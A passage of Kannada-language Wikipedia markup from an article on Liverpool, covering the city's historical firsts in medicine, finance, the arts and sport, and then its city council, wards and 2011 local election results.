Britain|publisher=Taylor & Francis|location=|year=1984|url=http://books.google.co.uk/books?id=E5kOAAAAQAAJ&pg=PA73&dq=public+baths+liverpool+rathbone&client=firefox-a | isbn=9780416379501}}</ref> ಸ್ಯಾನಿಟರಿ ಶಾಸನ,<ref>[http://www.bmj.com/cgi/pdf_extract/1/4545/298-a ಬ್ರಿಟೀಷ್ ಮೆಡಿಕಲ್ ಜರ್ನಲ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} 14 ಫೆಬ್ರುವರಿ 1948</ref> ಆರೋಗ್ಯಕ್ಕೆ ವೈದ್ಯಕೀಯ ಅಧಿಕಾರಿಗಳು, ಜಿಲ್ಲಾ ನರ್ಸ್, ಸ್ಲಮ್ ಕ್ಲಿಯರೆನ್ಸ್,<ref>{{Cite book|last=Dennis|first=Richard|title=English Industrial Cities of the Nineteenth Century: A Social Geography.|publisher=Cambridge University Press|location=|year=1986|url=http://books.google.co.uk/books?id=NQQQ5Dq9RWgC&pg=PA167&dq=liverpool+first+slum+clearance&num=100&client=firefox-a | isbn=9780521338394}}</ref> ಉದ್ದೆಶ-ನಿರ್ಮಿತ ತುರ್ತುವಾಹನ,<ref>{{Cite web |url=http://www.lmi.org.uk/ambulance_merseyside.html |title=Liverpool Medical Institution |publisher=Lmi.org.uk |date= |accessdate=2010-08-03 |archive-date=2011-07-16 |archive-url=https://web.archive.org/web/20110716102900/http://www.lmi.org.uk/ambulance_merseyside.html |url-status=dead }}</ref> ಕ್ಷ-ಕಿರಣ ವೈದ್ಯಕೀಯ ವಿಶ್ಲೇಷಣೆ,<ref>{{Cite book|last=Peltier|first=Leonard F.|title=Fractures: a history and iconography of their treatment|publisher=Norman Publishing|location=|year=1990|url=http://books.google.co.uk/books?id=kdBfBd5BdEwC&pg=PA227&dq=first+x-ray+1896+lodge+liverpool&client=firefox-a | isbn=9780930405168}}</ref> ಟ್ರಾಪಿಕಲ್ ಮೆಡಿಸಿನ್‌ನ ಸ್ಕೂಲ್, ಯಾಂತ್ರೀಕೃತ ಮುನ್ಸಿಪಾಲ್ ಫೈರ್-ಎಂಜಿನ್,<ref>{{Cite book|last=Wallington|first=Neil|title=One Hundred Years of the British Fire Engine|publisher=Jeremy Mills Publishing|location=|year=|url=http://books.google.co.uk/books?id=7LZain9YBTkC&pg=PA9&dq=fire-engine+motorised+liverpool+1901&client=firefox-a | isbn=9781906600303}}</ref> ಫ್ರೀ ಸ್ಕೂಲ್ ಮಿಲ್ಕ್ ಮತ್ತು ಸ್ಕೂಲ್ ಮೀಲ್ಸ್,<ref>{{Cite web|url=http://www.liverpoolmuseums.org.uk/mol/collections/liverpoollives/jessie_reid_crosbie.aspx |title=National Museums,Liverpool |publisher=Liverpoolmuseums.org.uk |date= |accessdate=2010-08-03}}</ref> ಕ್ಯಾನ್ಸರ್ ಸಂಶೋಧನಾ ಕೇಂದ್ರ,<ref>[http://news.bbc.co.uk/1/hi/uk/91322.stm ಬಿಬಿಸಿ ನ್ಯೂಸ್] 12 ಮೇ 1998</ref> ಮತ್ತು ಜೂನೋಸಿಸ್ ಸಂಶೋಧನಾ ಕೇಂದ್ರ<ref>[http://www.liv.ac.uk/news/press_releases/2006/02/zoonosis.htm ಲಿವರ್‌ಪೂಲ್ ಯುನಿವರ್ಸಿಟಿ] ಪತ್ರಿಕಾ ಪ್ರಕಟಣೆ, 22 ಫೆಬ್ರುವರಿ 2006</ref> ಈ ಎಲ್ಲವೂ ಕೂಡ ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿತವಾಗಲ್ಪಟ್ಟವು. ಮೊದಲ ಬ್ರಿಟೀಷ್ [[ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ|ನೋಬೆಲ್ ಪ್ರಶಸ್ತಿ]]ಯು ರೋನಾಲ್ಡ್ ರಾಸ್‌ಗೆ ರಲ್ಲಿ ನೀಡಲ್ಪಟ್ಟಿತು, ಇವರು ಜಗತ್ತಿನಲ್ಲಿ ಮಕ್ಕಳ ಮೊದಲ ಶಾಲೆಯಾದ ಟ್ರಾಪಿಕಲ್ ಮೆಡಿಸಿನ್‌ನ ಸ್ಕೂಲ್‌ನ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದರು.<ref>{{Cite web|url=http://www.liv.ac.uk/lstm/about/history_of_the_school.htm |title=Liverpool School of Tropical Medicine |publisher=Liv.ac.uk |date= |accessdate=2010-08-03}}</ref> ಆರ್ಥೋಪೆಡಿಕ್ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಯು ಲಿವರ‍್ಪೂಲ್‌ನಲ್ಲಿ ಹ್ಯೂ ಔನ್ ಥಾಮಸ್‌ರಿಂದ ಪರಿಚಯಿಸಲ್ಪಟ್ಟಿತು,<ref>[http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2165718/?page=1 ಔಷದೀಯ ಕ್ಷೇತ್ರಕ್ಕೆ ಲಿವರ‍್ಪೂಲ್‍ನ ಕೊಡುಗೆ] ಲಾರ್ಡ್ ಕೊಹೆನ್ ಆಫ್ ಬ್ರಿಕನ್‌ಹೆಡ್ ಬಿಎಮ್‌ಜೆ 1965 ಏಪ್ರಿಲ್ 10; 1(5440): 945–948</ref> ಮತ್ತು ಥಾಮಸ್ ಸೆಸಿಲ್ ಗ್ರೇಯ್‌ರಿಂದ ಆಧುನಿಕ ವೈದ್ಯಕೀಯ ಅನಸ್ಥೆಟಿಕ್ಸ್ ಪರಿಚಯಿಸಲ್ಪಟ್ಟಿತು. ಹಣಕಾಸಿನಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ ಯುಕೆಯ ಮೊದಲ ಅಂಡರ್‌ರೈಟರ್‌ರ ಮಂಡಳಿಯನ್ನು<ref>{{Cite book|title=125 years of the International Union of Marine Insurance |publisher=Verlag Versicherungswirtsch|year= 1999 |url=http://books.google.co.uk/books?hl=en&lr=&id=RdVOPhSMsvMC&oi=fnd&pg=PR7&dq=world+liverpool-underwriters+association+oldest+OR+first+1802+OR+1803&ots=K6JCgAIGWT&sig=ckreyVUJwj-LoFZgPapzKOvmTz0 |accessdate=2009-07-14}}</ref> ಮತ್ತು ಮೊದಲ ಅಕೌಂಟಂಟ್‌ರ ಸಂಸ್ಥೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು. ಪಾಶ್ಚಿಮಾತ್ಯ ಜಗತ್ತುಗಳ ಮೊದಲ ಆರ್ಥಿಕ ಉತ್ಪನ್ನಗಳು (ಕಾಟನ್ ಉತ್ಪನ್ನಗಳು) 1700 ರ ದಶಕದ ಕೊನೆಯಲ್ಲಿ ಲಿವರ್‌ಪ್ಲ್ ಕಾಟನ್ ವಿನಿಮಯದಲ್ಲಿ ವ್ಯಾಪಾರ ಮಾಡಲ್ಪಟ್ಟವು.<ref>{{Cite book|title=The Professional Risk Managers' Guide to Financial Markets |publisher=McGraw Hill Professional|year= 2007 |url=http://books.google.co.uk/books?id=upN4A6jOpkoC&pg=PA126&dq=futures+cotton+derivative+liverpool+rice&num=100&client=firefox-a |accessdate=2009-07-14 | first1=Carol | last1=Alexander | first2=Elizabeth | last2=Sheedy | isbn=9780071546485}}</ref> ಕಲೆಗಳಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ ಮೊದಲ ಲೆಂಡಿಂಗ್ ಲೈಬ್ರರಿ, ಅಥೇನಿಯಮ್ ಸಮಾಜ, ಕಲಾ ಕೇಂದ್ರ,<ref>{{Cite web|url=http://news.bbc.co.uk/1/hi/england/merseyside/7397702.stm |title=BBC news, 13 May 2008 |publisher=BBC News |date=2008-05-13 |accessdate=2010-08-03}}</ref> ಮತ್ತು ಸಾರ್ವಜನಿಕ ಕಲಾ ಸಂರಕ್ಷಣಾ ಕೇಂದ್ರಗಳ ತಾಣವಾಗಿತ್ತು.<ref>{{Cite web|url=http://www.culture24.org.uk/mw189 |title=Culture 24 |publisher=Culture 24 |date=2006-11-26 |accessdate=2010-08-03}}</ref> ಲಿವರ್‌ಪೂಲ್ ಯುಕೆಯ ಅತ್ಯಂತ ಹಳೆಯ ಸಂಪ್ರದಾಯಿಕ ಆರ್ಕೆಸ್ಟಾ ರಾಯಲ್ ಲಿವರ್‌ಪೂಲ್ ಫಿಲಾರ್ಮೊನಿಕ್ ಅರ್ಕೆಸ್ಟ್ರಾದ ಸಂರಕ್ಷಣೆಯ ತಾಣವಾಗಿತ್ತು.<ref>{{Citation | last = Henley| first = Darren| author-link = | last2 = McKernan| first2 = Vincent| author2-link = | publication-date = | date = | year = 2009| title = The Original Liverpool Sound: The Royal Liverpool Philharmonic Society | edition = | volume = | series = | publication-place = Liverpool | page = 68 | publisher = Liverpool University Press | id = | isbn = 978-1-84631-224-3}}</ref> 1864 ರಲ್ಲಿ, ಪೀಟರ್ ಎಲಿಸ್ ಜಗತ್ತಿನ ಮೊದಲ ಕಬ್ಬಿಣ-ಚೌಕಟ್ಟಿನ, ಕರ್ಟನ್-ಗೋಡೆಯನ್ನು ಹೊಂದಿರುವ ಆಫೀಸ್ ಕಟ್ಟಡ, ವಾತಾಯನ ಕೋಣೆಗಳು, ಸ್ಕೈಕ್ರೇಪರ್‌ನ ಏಕಪ್ರಕಾರತೆಗಳನ್ನು ನಿರ್ಮಿಸಿದರು. 1862 ಮತ್ತು 1867 ರ ನಡುವೆ ಲಿವರ್‌ಪೂಲ್ ಒಂದು ''ವಾರ್ಷಿಕ ಗ್ರ್ಯಾಂಡ್ ಓಲಿಂಪಿಕ್ ಫೆಸ್ಟಿವಲ್'' ಅನ್ನು ಆಯೋಜಿಸಿತ್ತು. ಜಾನ್ ಹ್ಯುಲೇಯ್ ಮತ್ತು ಚಾರ್ಲ್ಸ್ ಮೆಲ್ಲಿ ಇವರುಗಳಿದ ವಿನ್ಯಾಸಗೊಳಿಸಲ್ಪಟ್ಟ ಈ ಆಟಗಳು ಸಂಪೂರ್ಣವಾಗಿ ಹವ್ಯಾಸಿ ಸ್ವರೂಪದಲ್ಲಿರುವ ಮೊದಲ ಆಟಗಳಾಗಿದ್ದವು ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ದೃಷ್ಟಿಕೋನವನ್ನು ಹೊಂದಿದ್ದವು.<ref>ಜಾರ್ಜ್ ಆರ್. ಮ್ಯಾಥ್ಯೂಸ್ (2005). '''' ಅಮೇರಿಕಾಸ್ ಫಸ್ಟ್ ಓಲಂಪಿಕ್ಸ್: ದಿ ಸೇಂಟ್ ಲೂಯಿಸ್ ಗೇಮ್ಸ್ ಆಫ್ 1904 ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಮಿಸ್ಸೌರಿ ಪ್ರೆಸ್ ISBN 9780826215888</ref><ref>ಇಂಗಮೋರ್ ವೈಲರ್(2004). ''ದಿ ಪ್ರೆಡೆಸೆಸ್ಸರ್ಸ್ ಆಫ್ ದಿ ಓಲಂಪಿಕ್ ಮೂವ್‌ಮೆಂಟ್, ಆಂಡ್ ಫಿಯರ್ರೆ ಡೆ ಕೌಬರ್ಟಿನ್'' ಯುರೋಪಿಯನ್ ರಿವ್ಯೂ, ಆವೃತ್ತಿ. 12, ನಂ. 3, ಕ್ಯಾಂಬ್ರಿಡ್ಜ್ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್</ref> ಅಥೆನ್ಸ್‌ನಲ್ಲಿ 1896 ರಲ್ಲಿ ಮೊದಲ ಆಧುನಿಕ ಓಲಿಂಪೈಡ್‌ನ ಯೋಜನೆಯು ಲಿವರ್‌ಪೂಲ್‌ನ ಓಲಿಂಪಿಕ್ಸ್‌ನಂತೆಯೇ ಏಕಸ್ವರೂಪದ್ದಾಗಿತ್ತು.<ref>ಕ್ರೇಗ್ ರೀಡಿ, ಜಿಮ್ ಪೆರ್ರಿ, ವಾಸಿಲ್ ಗಿರ್ಗಿನೊವ್(2005). ''ದಿ ಓಲಂಪಿಕ್ ಗೇಮ್ಸ ಎಕ್ಸ್‌ಪ್ಲೇನ್ಡ್: ಎ ಸ್ಟುಡೆಂಟ್ ಗೈಡ್ ಟು ದಿ ಎವೆಲ್ಯೂಷನ್ ಆಫ್ ದಿ ಮಾಡರ್ನ್ ಓಲಂಪಿಕ್ ಗೇಮ್ಸ್, ರೌಟ್‌ಲೆಡ್ಜ್'' ISBN 9780415346047</ref> 1865 ರಲ್ಲಿ ಹ್ಯುಲೇಯ್ ಬ್ರಿಟೀಷ್ ಓಲಿಂಪಿಕ್ ಅಸೋಸಿಯೇಷನ್‌ನ ಒಂದು ಅಗ್ರಗಾಮಿಯಾದ ಅಂತರಾಷ್ಟ್ರೀಯ ಓಲಿಂಪಿಯನ್ ಸಂಸ್ಥೆಯನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಇದರ ಸ್ಥಾಪನೆಯ ನಿಯಮಗಳು ಅಂತರಾಷ್ಟ್ರೀಯ ಓಲಿಂಪಿಕ್ ಚಾರ್ಟರ್‌ನ ಚೌಕಟ್ತನ್ನು ಒದಗಿಸಿದವು. ಹಡಗು ಮಾಲಿಕ ಸರ್ ಆಲ್‌ಫ್ರೆಡ್ ಲೂಯಿಸ್ ಜೋನ್ಸ್ 1884 ರಲ್ಲಿ ಗ್ರೇಟ್ ಬ್ರಿಟನ್‌ಗೆ [[ಬಾಳೆ ಹಣ್ಣು|ಬಾಳೆಹಣ್ಣನ್ನು]] ಪರಿಚಯಿಸಿದರು.<ref>{{Cite web|url=http://www.oxforddnb.com/view/article/34222 |title=Oxford DNB article: Jones, Sir Alfred Lewis |publisher=www.oxforddnb.com |accessdate=2010-09-28 }} (requires login or UK library card)</ref> 1897 ರಲ್ಲಿ, ಲ್ಯೂಮೈರ್ ಸಹೋದರರು ಲಿವರ್‌ಪೂಲ್ ಅನ್ನು ಸಿನೆಮಾವಾಗಿಸಿದರು,<ref>[https://www.youtube.com/watch?v=_i5ApsjD46o ಲಿವರ್‌ಪೂಲ್ ದೃಶ್ಯಗಳು 1896/1897] ''YouTube''</ref> ಇದು ಜಗತ್ತಿನ ಮೊದಲ ಟ್ರ್ಯಾಕಿಂಗ್ ಶಾಟ್ ಎಂಬುದಾಗಿ ನಂಬಲ್ಪಡುತ್ತದೆ,<ref>[http://www.liverpool.gov.uk/News/newsdetail_2754.asp ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್] ನ್ಯೂಸ್, 14 ಅಕ್ಟೋಬರ್ 2008</ref> ಇದು ಜಗತ್ತಿನ ಮೊದಲ ಎತ್ತರದ ವಿದ್ಯುತ್ ರೈಲ್ವೇಯಾದ ಲಿವರ್‌ಪೂಲ್ ಓವರ್‌ಹೆಡ್ ರೈಲ್ವೇಯಿಂದ ತೆಗೆದುಕೊಳ್ಳಲ್ಪಟ್ಟಿತು. ಲಿವರ್‌ಪೂಲ್ ಸಂಶೋಧಕ ಫ್ರ್ಯಾಂಕ್ ಹಾರ್ನ್‌ಬಿ ಆಟಿಕೆಗಳ ಬೆಳವಣಿಗೆಯಲ್ಲಿ ಅಂತರ್ದೃಷ್ಟಿಯನ್ನು ಹೊಂದಿದವರಾಗಿದ್ದರು ಮತ್ತು 20 ನೆಯ ಶತಮಾನದಲ್ಲಿ ಆಟಿಕೆಗಳ ಜನಪ್ರಿಯ ಮೂರು ಲೈನ್‌ಗಳನ್ನು ತಯಾರಿಸಿದರು ಮತ್ತು ಬಿಡುಗಡೆ ಮಾಡಿದರು: ಮೆಕಾನೋ, ಹಾರ್ನ್‌ಬಿ ಮೊಡೆಲ್ ರೈಲ್ವೇಸ್ ಮತ್ತು ಡಿಂಕಿ ಟಾಯ್ಸ್. 1999 ರಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ "ಇದರ ಗಂಡುಮಕ್ಕಳು ಮತ್ತು ಹೆಣ್ಣುಮಕ್ಕಳಿಂದ ಜೀವನದ ಎಲ್ಲಾ ಸಮಯದಲ್ಲಿಯೂ ನೀದಲ್ಪಟ್ತ ಗಮನಾರ್ಹವಾದ ಕೊಡುಗೆಯ" ಒಂದು ಮನ್ನಣೆಯಾಗಿಇಂಗ್ಲೀಷ್ ಹೆರಿಟೇಜ್‌ನಿಂದ ರಾಜಧಾನಿಯ ಹೊರಗಿನ ಮೊದಲ ಬ್ಲ್ಯೂ ಪ್ಲೇಕ್ಸ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದುಕೊಂಡ ನಗರವಾಯಿತು.<ref>[http://news.bbc.co.uk/1/hi/entertainment/353286.stm ಬಿಬಿಸಿ ನ್ಯೂಸ್] 26 ಮೇ 1999</ref> ==ಸರ್ಕಾರ== ಲಿವರ್‌ಪೂಲ್ ಮೂರು ಹಂತದ ಸರ್ಕಾರವನ್ನು ಹೊಂದಿದೆ: ಸ್ಥಳೀಯ ಮಂಡಳಿ, ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರ ಮತ್ತು ಯುರೋಪಿಯನ್ ಸಂಸತ್ತು. ಲಿವರ್‌ಪೂಲ್ ಹೆಚ್ಚಾಗಿ ಒಂದು ಯುನಿಟರಿ ಅಥಾರಿಟಿಯಿಂದ ಅಧಿಕಾರ ನಿರ್ವಹಿಸಲ್ಪಡುತ್ತದೆ, ಮರ್ಸಿಸೈಡ್ ಕಂಟ್ರಿ ಕೌನ್ಸಿಲ್ ನಿಷೇಧಿಸಲ್ಪಟ್ಟಿದ್ದ ಸಮಯದಲ್ಲಿ ನಾಗರಿಕ ಕಾರ್ಯಗಳು ಒಂದು ಜಿಲ್ಲಾ ಆಡಳಿತ ಮಟ್ಟಕ್ಕೆ ಪುನಃ ವರ್ಗಾಯಿಸಲ್ಪಟ್ಟವು. ಆದಾಗ್ಯೂ ಪೋಲೀಸ್ ಮತ್ತು ಫೈರ್ ಎಂಡ್ ರೆಸ್ಕ್ಯೂ ಸರ್ವಿಸ್‌ನಂತಹ ಹಲವಾರು ಸೇವೆಗಳು ದೇಶದಾದ್ಯಂತದ ಮಟ್ಟದಲ್ಲಿ ನಡೆಸಲ್ಪಟ್ಟವು. ===ಸ್ಥಳೀಯ ಮಂಡಳಿ=== {{See also|Liverpool City Council}} [[File:Municipal Buildings Liverpool 5.jpg|right|thumb|ಮುನ್ಸಿಪಲ್ ಬಿಲ್ಡಿಂಗ್‌ನಲ್ಲಿ ಇರುವ ಕೆಲವು ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ ಸರ್ವಿಸ್‌ಗಳು]] ಲಿವರ್‌ಪೂಲ್ ನಗರವು ಲಿವರ್‌ಪೂಲ್ ನಗರ ಮಂಡಳಿಯಿಂದ ಕಾರ್ಯನಿರ್ವಹಿಸಲ್ಪಡುತ್ತದೆ, ಮತ್ತು ಮರ್ಸಿಸೈಡ್‌ನ ಮಹಾನಗರ ಪ್ರದೇಶವನ್ನು ಸರಿಪಡಿಸುವುದನ್ನು ಸಂಯೋಜಿಸುವುದರಲ್ಲಿ ಐದು ಮಹಾನಗರ ಆಡಳಿತ ಪ್ರದೇಶಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಈ ಮಂಡಳಿಯು 90 ಚುನಾಯಿತ ಕೌನ್ಸೆಲರ್‌ಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ, ಅವರು ನಗರದೆಲ್ಲೆಡೆಯ ಸ್ಥಳೀಯ ಮಂಡಳಿಗಳನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಾರೆ,<ref>{{Cite web |title=How the council is governed |publisher=[[Liverpool City Council]] |url=http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_governed/index.asp |accessdate=2008-09-19 |archiveurl=https://web.archive.org/web/20081025064532/http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_governed/index.asp |archivedate=2008-10-25 |url-status=dead }}</ref> ಹಾಗೆಯೇ ಐದು ವ್ಯಕ್ತಿಗಳ ಎಕ್ಸಿಕ್ಯುಟೀವ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಟೀಮ್ ಮಂದಳಿಯ ದಿನನಿತ್ಯದ ಕಾರ್ಯನಿರ್ವಹಣೆಯ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊತ್ತಿರುತ್ತಾರೆ.<ref>{{Cite web|title=The executive management team |publisher=Liverpool City Council |url=http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_managed/Executive_management_team/index.asp |accessdate=2008-09-19 |archiveurl = https://web.archive.org/web/20080622183306/http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_managed/Executive_management_team/index.asp <!-- Bot retrieved archive --> |archivedate = 2008-06-22}}</ref> ಕೌನ್ಸೆಲರ್‌ಗಳ ಭಾಗಶಃ ಜವಾಬ್ದಾರಿಯು ಒಬ್ಬ ಕೌನ್ಸಿಲ್ ಮುಖಂಡನ ಮತ್ತು ಲಾರ್ಡ್ ಮೇಯರ್‌ನ ಚುನಾಯಿಸುವಿಕೆಯಾಗಿದೆ. ಕೌನ್ಸಿಲ್ ಮುಖಂಡರುಗಳ ಜವಾಬ್ದಾರಿಯು ಮಂಡಳಿಗೆ ನಿರ್ದೇಶನವನ್ನು ನೀಡುವುದಾಗಿರುತ್ತದೆ ಹಾಗೆಯೇ ಸ್ಥಳೀಯ ಮಂಡಳಿ, ಕೆಂದ್ರ ಸರ್ಕಾರ ಮತ್ತು ಖಾಸಗಿ ಮತ್ತು ಸಾರ್ವಜನಿಕ ಪಾಲುದಾರರ ನಡುವಣ ಮಧ್ಯವರ್ತಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವುದಾಗಿದೆ.<ref>{{Cite web|title=The leader of the council |publisher=Liverpool City Council |url=http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_governed/Executive_board/Council_leader/index.asp |accessdate=2008-09-19 |archiveurl = https://web.archive.org/web/20080609185521/http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_governed/Executive_board/Council_leader/index.asp <!-- Bot retrieved archive --> |archivedate = 2008-06-09}}</ref> ಲಾರ್ಡ್ ಮೇಯರ್ ನಗರದ "ಮೊದಲ ವ್ಯಕ್ತಿ"ಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಾರೆ ಮತ್ತು ನಗರವನ್ನು ಉತ್ತಮಗೊಳಿಸುವ, ಸ್ಥಳೀಯ ಚಾರಿಟಿಗಳನ್ನು ಮತ್ತು ಕಮ್ಯುನಿಟಿ ಗುಂಪುಗಳನ್ನು ಬೆಂಬಲಿಸುವ ಹಾಗೆಯೇ ನಾಗರಿಕ ಸಂದರ್ಭಗಳಲ್ಲಿ ನಗರವನ್ನು ಪ್ರತಿನಿಧಿಸುವ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊಂದಿರುತ್ತಾರೆ,<ref>{{Cite web|title=The Lord Mayor |publisher=Liverpool City Council |url=http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_governed/Full_council/Lord_Mayor/index.asp |accessdate=2008-09-19 |archiveurl = https://web.archive.org/web/20080507041633/http://www.liverpool.gov.uk/Council_government_and_democracy/How_the_council_is_governed/Full_council/Lord_Mayor/index.asp <!-- Bot retrieved archive --> |archivedate = 2008-05-07}}</ref> ಕೌನ್ಸಿಲ್‌ನ ಪ್ರಸ್ತುತದ ಮುಖಂಡ ಜೋ ಆಂಡೆರ್‌ಸನ್ ಮತ್ತು ಪ್ರಸ್ತುತದ ಲಾರ್ಡ್ ಮೇಯರ್ ಕೌನ್ಸೆಲರ್ ಮೈಕ್ ಸ್ಟೋರೇಯ್ ಆಗಿದ್ದಾರೆ.<ref>{{Cite web |url=http://www.civichalls.liverpool.gov.uk/lordmayor/index.asp |title=The Lord Mayor |publisher=Civichalls.liverpool.gov.uk |date= |accessdate=2010-04-15 |archive-date=2007-12-11 |archive-url=https://web.archive.org/web/20071211003805/http://www.civichalls.liverpool.gov.uk/lordmayor/index.asp |url-status=dead }}</ref> ಸ್ಥಳೀಯ ಚುನಾವಣೆಗಳಿಗಾಗಿ ನಗರವು ಸ್ಥಳೀಯ ಕೌನ್ಸಿಲ್ ವಾರ್ಡ್‌ಗಳಾಗಿ ವಿಂಗಡಿಸಲ್ಪಟ್ಟಿದೆ,<ref>{{Cite web |title=Ward Profiles |publisher=Liverpool City Council |url=http://www.liverpool.gov.uk/Business/Economic_development/Key_Statistics_and_Data/Ward_profiles/index.asp |accessdate=2008-07-03 |archiveurl=https://web.archive.org/web/20060301161644/http://www.liverpool.gov.uk/Business/Economic_development/Key_statistics_and_data/Ward_profiles/index.asp |archivedate=2006-03-01 |url-status=dead }}</ref> ಅವುಗಳನ್ನು ಈ ಕೆಳಗೆ ವರ್ಣಾನುಕ್ರಮದಲ್ಲಿ ನಮೂದಿಸಲ್ಪಟ್ಟಿವೆ: {| class=style="margin:0 auto; background:none;" | style="padding-right:0;"| <ol> <li>ಅಲರ್ಟನ್ & ಹಂಟ್ಸ್ ಕ್ರಾಸ್</li> <li>ಆನ್‌ಫೀಲ್ಡ್</li> <li>ಬೆಲ್ಲೆ ವೇಲ್</li> <li>ಕೇಂದ್ರ </li> <li>ಚೈಲ್ಡ್‌ವಾಲ್</li> <li>ಚರ್ಚ್</li> <li>ಕ್ಲಂಬೂರ್</li> <li>ಕೌಂಟಿ</li> <li>ಕ್ರೆಸಿಂಗ್‌ಟನ್</li> <li>ಕ್ರಾಕ್ಸ್‌ಟೆತ್</li> <li>ಎವರ್ಟನ್</li> <li>ಫ್ಯಾಜಾಕೆರ್ಲೇಯ್</li> <li>ಗ್ರೀನ್‌ಬ್ಯಾಂಕ್</li> <li>ಕೆನ್ಸಿಂಗ್‌ಟನ್ & ಫೇರ್‌ಫೀಲ್ಡ್</li> <li>ಕಿರ್ಕ್‌ಡೇಲ್</li> </ol> | style=class="toccolours"|{{Image label begin|image=Liverpool City Council Wards - Numbered.svg|width={{{width|250}}}|float=right}} | |||||| <ol><li>ನಾಟಿ ಆಷ್</li> <li>ಮೊಸ್ಲೇಯ್ ಹಿಲ್</li> <li>ನಾರಿಸ್ ಗ್ರೀನ್</li> <li>ಓಲ್ಡ್ ಸ್ವಾನ್</li> <li>ಪಿಕ್ಟನ್</li> <li>ಪ್ರಿನ್ಸೆಸ್ ಪಾರ್ಕ್</li> <li>ರಿವರ್‌ಸೈಡ್</li> <li>ಸ್ಪೇಕ್ ಗ್ಯಾರ್ಸ್ಟನ್</li> <li>ಸೇಂಟ್ ಮೈಕ್ಲೆಸ್</li> <li>ಟ್ಯೂಬ್ರೂಕ್ & ಸ್ಟೋನಿಕ್ರಾಫ್ಟ್</li> <li>ವಾರ್‌ಬ್ರೆಕ್</li> <li>ವೇವರ್‌ಟ್ರೀ</li> <li>ವೆಸ್ಟ್ ಡರ್ಬಿ</li> <li>ವೂಲ್ಟನ್</li> <li>ಯೂ ಟ್ರೀ</li> </ol> |} ಮೇ 2011 ರಲ್ಲಿ ನಡೆಸಲ್ಪಟ್ಟ ತೀರಾ ಇತ್ತೀಚಿನ ಚುನಾವಣೆಗಳ ಸಮಯದಲ್ಲಿ, ಲೇಬರ್ ಪಕ್ಷವು ಲಿವರ್‌ಪೂಲ್ ನಗರ ಮಂಡಳಿಯ ತನ್ನ ನಿಯಂತ್ರಣವನ್ನು ಸಂಯೋಜಿಸಿತು, ಮೇ 2010 ರ ಹಿಂದಿನ ಚುನಾವಣೆಗಳ ಸಮಯದಲ್ಲಿ ವರ್ಷಗಳಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ತನ್ನ ಅಧಿಕಾರವನ್ನು ಪುನಃ ಪಡೆದುಕೊಂಡಿತು.<ref name="Liverpool Liberal Democrats being wiped out in Local Government elections 2011">{{cite web|title=Liverpool Liberal Democrats being wiped out in Local Government elections 2011|url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2011/05/06/liverpool-liberal-democrats-being-wiped-out-in-local-government-elections-2011-100252-28644711/|publisher=''Liverpool Echo''|accessdate=6 May 2011}}</ref> ಲೇಬರ್ ಪಕ್ಷವು ಚುನಾವಣೆಯ ಸಮಯದಲ್ಲಿ 11 ಸೀಟ್‌ಗಳನ್ನು ಪಡೆದುಕೊಂಡಿತು, ಅದು ಒಟ್ಟಾರೆಯಾಗಿ 62 ಸೀಟ್‌ಗಳನ್ನು ಪಡೆದುಕೊಂಡಿತ್ತು, ಲಿಬರಲ್ ಡೆಮಾಕ್ರಟ್ಸ್ ಪಕ್ಷವು 22 ಸೀಟ್‌ಗಳನ್ನು ಮಾತ್ರವೇ ಪಡೆದಿತ್ತು. ಉಳಿದ ಸೀಟ್‌ಗಳಲ್ಲಿ ಲಿಬರಲ್ ಪಕ್ಷವು ಮೂರು ಸಿಟ್‌ಗಳನ್ನು ಗೆದ್ದಿತು ಮತ್ತು ಗ್ರೀನ್ ಪಕ್ಷವು ಎರಡು ಸೀಟ್‌ಗಳನ್ನು ಪಡೆದುಕೊಂಡಿತು. ಯುಕೆಯಲ್ಲಿನ ಮೂರು ಪ್ರಮುಖ ಪಕ್ಷಗಳಲ್ಲಿ ಒಂದಾದ ಕನ್ಸರ್ವೇಟೀವ್ ಪಕ್ಷವು ಲಿವರ್‌ಪೂಲ್ ನಗರ ಮಂಡಳಿಯಲ್ಲಿ ಯಾವುದೇ ಪ್ರಾತಿನಿಧಿಕತೆಯನ್ನು ಹೊಂದಿರಲಿಲ್ಲ.<ref name="Liverpool Liberal Democrats being wiped out in Local Government elections 2011" /><ref name="England Council Elections: Liverpool">{{cite web|title=England Council Elections: Liverpool|url=http://www.bbc.co.uk/news/special/election2011/council/html/by.stm|publisher=''BBC News''|accessdate=6 May 2011}}</ref> 